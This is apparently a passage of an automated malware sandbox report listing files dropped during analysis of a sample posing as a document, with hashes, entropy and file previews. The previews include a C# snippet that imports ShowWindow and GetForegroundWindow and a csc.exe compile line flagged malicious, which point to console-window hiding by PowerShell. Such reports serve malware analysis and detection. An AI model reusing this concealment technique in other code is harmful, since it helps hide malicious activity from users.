Preview:	L....{Yg.............debug$S........T...................@..B.rsrc$01........X.......8...........@..@.rsrc$02........P...B...............@..@........U....c:\Users\user\AppData\Local\Temp\myainnc2\CSC6AA9D23DB1D446FF89BA3B754739F41D.TMP..................L.A~ p'..G.#.ki..........5.......C:\Users\user\AppData\Local\Temp\RESBF0C.tmp.-.<....................a..Microsoft (R) CVTRES._.=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe...............................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...m.y.a.i.n.n.c.2...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0t4v1bs3.su1.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_32ix4e4h.50n.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3pltc2p5.52s.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3r5vj511.5jg.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5adhzkdm.trs.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5piws0ff.lqn.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_b5mia3bh.n45.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_b5usth2v.qyy.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bnznykw3.ww2.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_idvzcusb.4zy.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oivfdjdj.rdy.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oxlalsez.jl2.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qnhb13d0.td3.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_u0rmuyfb.rvc.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vf3fie12.yrt.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vvod5ka3.rl4.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\myainnc2\CSC6AA9D23DB1D446FF89BA3B754739F41D.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.080266826154109
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryZjak7YnqqosPN5Dlq5J:+RI+ycuZhNfakShPNnqX
MD5:	4C89417E207027DFA0F447CA23906B69
SHA1:	56906BC71C1CB3E61FCCEC98899CBFEDF20E0811
SHA-256:	838F9CFCFD6B57338D2C9D06292EE60056050895D8CDCE8D0773F90BDB21BE06
SHA-512:	2939FDFB19989368B8F8B93BCF07E156576A96A05B478F5869E6B0EE0892AB21A7A34117EF421F29ED0874962B4E08C7246688923FC4965FD73651403A053D62
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...m.y.a.i.n.n.c.2...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...m.y.a.i.n.n.c.2...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\myainnc2\myainnc2.0.cs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with no line terminators
Category:	dropped
Size (bytes):	244
Entropy (8bit):	4.952945910145069
Encrypted:	false
SSDEEP:	6:V/DssSuVY/so68SRvoSoODnso68SRaqK4Li:V/D9PY/REvoOnREfe
MD5:	6E7BC02C23E28738F9898185137720DB
SHA1:	F0450E92B0D01C2A0D23DEF93299FFD1512FAB46
SHA-256:	80A682DC3D4FEF7A23471B441BBA682648D7373DEB9889E0017E3BBBA43754E7
SHA-512:	FF24CEDAD3619B0D2379F668A06CE36A5DAFF2EBC2B11FCF8BD960C3272D99F5F77EDCA893701A6232DC9EB07794C8D2ABC3FD802CE7E5638EE87291DE1AAEFB
Malicious:	false
Preview:	.using System; using System.Runtime.InteropServices; public class Win32 { [DllImport("user32.dll")] public static extern int ShowWindow(IntPtr hWnd, int nCmdShow); [DllImport("user32.dll")] public static extern IntPtr GetForegroundWindow(); }

C:\Users\user\AppData\Local\Temp\myainnc2\myainnc2.cmdline

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (368), with no line terminators
Category:	dropped
Size (bytes):	371
Entropy (8bit):	5.192637989198315
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2KJjq23f1l0/mUzxs7+AEszIKJjq23f1l0/C9:p37Lvkmb6K9Ft2/mUWZEYFt2/0
MD5:	3314B8B82F7E624B126C33BF5A899CE6
SHA1:	A8D1B59A56FB1531E91537BEB64FEFA3D0A7F66F
SHA-256:	6B2B0D233CDC02B0F649B92A5D126901C356C7CC2B61A576CADBD742239596D5
SHA-512:	59DF026B76A5C93EFC32F5F462202E6BD93FB0D41082BFA0785B5556229EAF94D4B1607686673E1E532F9F21832864C242C9A2138075CBE1FB99753B2C2A985A
Malicious:	true
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\myainnc2\myainnc2.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\myainnc2\myainnc2.0.cs"

C:\Users\user\AppData\Local\Temp\myainnc2\myainnc2.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3072
Entropy (8bit):	2.7788775291144714
Encrypted:	false
SSDEEP:	24:etGSzWJ2JJi8R86QMBTletkZfbZA3+WI+ycuZhNfakShPNnqI:65NR9ZlRJbS3l1ulfa3TqI
MD5:	5154C6AB347333D97AA0778D6760EDF2
SHA1:	A28882CC281DC2010EE3A1BB9FD8158AE058EA7F
SHA-256:	83910DFE5BEFDF509BB9E608774D5F4E3945A38B513AED32EBF58DB8BAAFED24
SHA-512:	F5357BC123114360F3931E37C4C244DA6BD18472D6AC4D9B9A2FC3AA10BAFB6DAE13815612B62EC55531379E6EBD412140789ABB44BB84B9D066A9F1DF0B0E37
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....{Yg...........!.................#... ...@....... ....................................@.................................P#..K....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................#......H.......X ................................................................(....*BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID.......L...#Blob...........G.........%3............................................................-.&.....g.....g.......................................... 4............ ?.....P ......S.........Y.....^...S.....S...!.S.....S.......".....+.......4.......?..................................................<Module

C:\Users\user\AppData\Local\Temp\myainnc2\myainnc2.out

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (451), with CRLF, CR line terminators
Category:	modified
Size (bytes):	872
Entropy (8bit):	5.304990734546826
Encrypted:	false
SSDEEP:	24:KhId3ka6Knt2WE+t25Kax5DqBVKVrdFAMBJTH:ykka6Ct9E+tsK2DcVKdBJj
MD5:	1E7537B03C6B314256D6940EE7844D89
SHA1:	8C53E4882CCB72B10C0AC1CEC02C6A05F6641765
SHA-256:	7FEB27A09F6AFA85C76876A4DEB2597DA740327618100C85600C156E96916A7B
SHA-512:	08DB6E3F28EB0109CEDB2EF3E8C5EC154FA9029EAA6D817B2CB281FDAA48A1C4A7F973C28D72A3F7DEE975EA9BB4821664C5DF33228B4475A14F42D94E823198
Malicious:	false
Preview:	.C:\Users\user\Desktop> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\myainnc2\myainnc2.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\myainnc2\myainnc2.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\~$-Meta-Ads-Manager.pdf.docx

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.365778161948329
Encrypted:	false
SSDEEP:	3:i/NBe/ZlUjt22ltlflmltlLbkx7TEF/klX+R:i/ChujDlE/+7Ts/s+R
MD5:	A041D4677AF8D98BC2FCD73CBF41BB86
SHA1:	31F1B2827C57B7CBC8F73DAC743D5FA65A0D210A
SHA-256:	8E469B1B1D95CE7389486A18C49E5656E374238A46606D2324FC8EE27E07EA2A
SHA-512:	830E38C5B13996FC163D82F191BFED6A9AA2A1E029EFB3BA0B0E3108C9E44BCF30300E1214F7BFA2499F82DEA82C2AE001289581B40B41580379F736A6EB9829
Malicious:	false
Preview:	...............................................................h24............(.o.h......G....................................b1...K...........! ..K...........G.4

C:\Users\user\AppData\Roaming\Microsoft\Office\MSO2057.acl

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	37740
Entropy (8bit):	3.1244345292038584
Encrypted:	false
SSDEEP:	768:ZatNbFeZKdogeyHMOeYhIVi+iOFOqbPXdEmawb:k/eLAhIVJbf
MD5:	D874253E46704647BA985B06196987C7
SHA1:	A0AC380DA828C4E694ED3B42314285363EAA7F0D
SHA-256:	B77C4C07DF1835552DF74F8C74878E3BCE37D8560FE192F2AD6F276120753C8F
SHA-512:	F79022A407F32BE725025317FED4560ACC853BE0174888C864C30D2688C7B5CF8C10EEC454288B93F584A448C71BDB7E32DFC7BE421FF2168897B69EFAE88F86
Malicious:	false
Preview:	........l.......S.....(.c.)...........(.e.)...... ....(.r.)...........(.t.m.)....."!..............& ....a.b.b.o.u.t.....a.b.o.u.t.....a.b.o.t.u.....a.b.o.u.t.....a.b.o.u.t.a.....a.b.o.u.t. .a.....a.b.o.u.t.i.t.....a.b.o.u.t. .i.t.....a.b.o.u.t.t.h.e.....a.b.o.u.t. .t.h.e.....a.b.s.c.e.n.c.e.....a.b.s.e.n.c.e.....a.c.c.e.s.o.r.i.e.s.....a.c.c.e.s.s.o.r.i.e.s.....a.c.c.i.d.a.n.t.....a.c.c.i.d.e.n.t.....a.c.c.o.m.o.d.a.t.e.....a.c.c.o.m.m.o.d.a.t.e.....a.c.c.o.r.d.i.n.g.t.o.....a.c.c.o.r.d.i.n.g. .t.o.....a.c.c.r.o.s.s.....a.c.r.o.s.s.....a.c.h.e.i.v.e.....a.c.h.i.e.v.e.....a.c.h.e.i.v.e.d.....a.c.h.i.e.v.e.d.....a.c.h.e.i.v.i.n.g.....a.c.h.i.e.v.i.n.g.....a.c.n.....c.a.n.....a.c.o.m.m.o.d.a.t.e.....a.c.c.o.m.m.o.d.a.t.e.....a.c.o.m.o.d.a.t.e.....a.c.c.o.m.m.o.d.a.t.e.....a.c.t.u.a.l.y.l.....a.c.t.u.a.l.l.y.....a.d.d.i.t.i.n.a.l.....a.d.d.i.t.i.o.n.a.l.....a.d.d.t.i.o.n.a.l.....a.d.d.i.t.i.o.n.a.l.....a.d.e.q.u.i.t.....a.d.e.q.u.a.t.e.....a.d.e.q.u.i.t.e.....a.d.e.q.u.a.t.e.....a.d.n.....

C:\Users\user\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	18
Entropy (8bit):	2.836591668108979
Encrypted:	false
SSDEEP:	3:QhRZln:Qb
MD5:	C635A6BFA5AE32F7E77689DF0465FC21
SHA1:	AFF2FB5D3D3DBB371C3EDAA867AA0FB4FD4D8B06
SHA-256:	75EB61906ED4248E5CB1C7A09A2031E5C159A52577A5625766612370E508D535
SHA-512:	A1BBCCBBD6B849070F3981710E1D1F0882C78C2947781908ACAF987FC2F3E34C8DB981212B47C9D714568E4F8D91D938056329787121EE9397D7086F8A57855A
Malicious:	false
Preview:	..D.y.l.a.n.e.....

C:\Users\user\AppData\Roaming\Microsoft\UProof\ExcludeDictionaryEN0809.lex

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:Qn:Qn
MD5:	F3B25701FE362EC84616A93A45CE9998
SHA1:	D62636D8CAEC13F04E28442A0A6FA1AFEB024BBB
SHA-256:	B3D510EF04275CA8E698E5B3CBB0ECE3949EF9252F0CDC839E9EE347409A2209
SHA-512:	98C5F56F3DE340690C139E58EB7DAC111979F0D4DFFE9C4B24FF849510F4B6FFA9FD608C0A3DE9AC3C9FD2190F0EFAF715309061490F9755A9BFDF1C54CA0D84
Malicious:	false
Preview:	..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	3.7405329167294004
Encrypted:	false
SSDEEP:	96:U1rCWeqJkvhkvCCt+4+KlZJHA24+KlZJHK:U1xxZ+Eox+EC
MD5:	2512A373586E7A4574BE0B4F9214D63D
SHA1:	EC9971F8C9D196DB2597FB7AF9B5FD2D30BB4E01
SHA-256:	D1482728B3D59BC54F48DF1EE8B4CC47EFC977D8D2B61F9DE05923918276705A
SHA-512:	73DEC7FB80AB45050C1C821BB92217B03DB4087B12DA8DCCA7956BF1E1EC614BEC4215DEEBB330FDD0569D3C9C0C5745E8860A24282348A7695DF1CCBD88F3E1
Malicious:	false
Preview:	...................................FL..................F.".. ......A........K..z.:{.............................:..DG..Yr?.D..U..k0.&...&.........A........K...{...K......t...CFSF..1.....&W.<..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......&W.<.Y\|].............................A.p.p.D.a.t.a...B.V.1......Yz]..Roaming.@......&W.<.Yz].............................R.o.a.m.i.n.g.....\.1.....+YS6..MICROS~1..D......&W.<.Yv]...........................RN.M.i.c.r.o.s.o.f.t.....V.1......Yu-..Windows.@......&W.<.Yv]...........................H..W.i.n.d.o.w.s.......1.....&W.<..STARTM~1..n......&W.<.Yv]....................D.......b.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....&W.<..Programs..j......&W.<.Yv]....................@......+}.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......&W.<.Y.,..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~2.LNK..^......&W.<.Y.]....8...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\CL71TV5FKUIA2JWGY4ZQ.temp

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	modified
Size (bytes):	12
Entropy (8bit):	0.41381685030363374
Encrypted:	false
SSDEEP:	3:/l:
MD5:	E4A1661C2C886EBB688DEC494532431C
SHA1:	A2AE2A7DB83B33DC95396607258F553114C9183C
SHA-256:	B76875C50EF704DBBF7F02C982445971D1BBD61AEBE2E4B28DDC58A1D66317D5
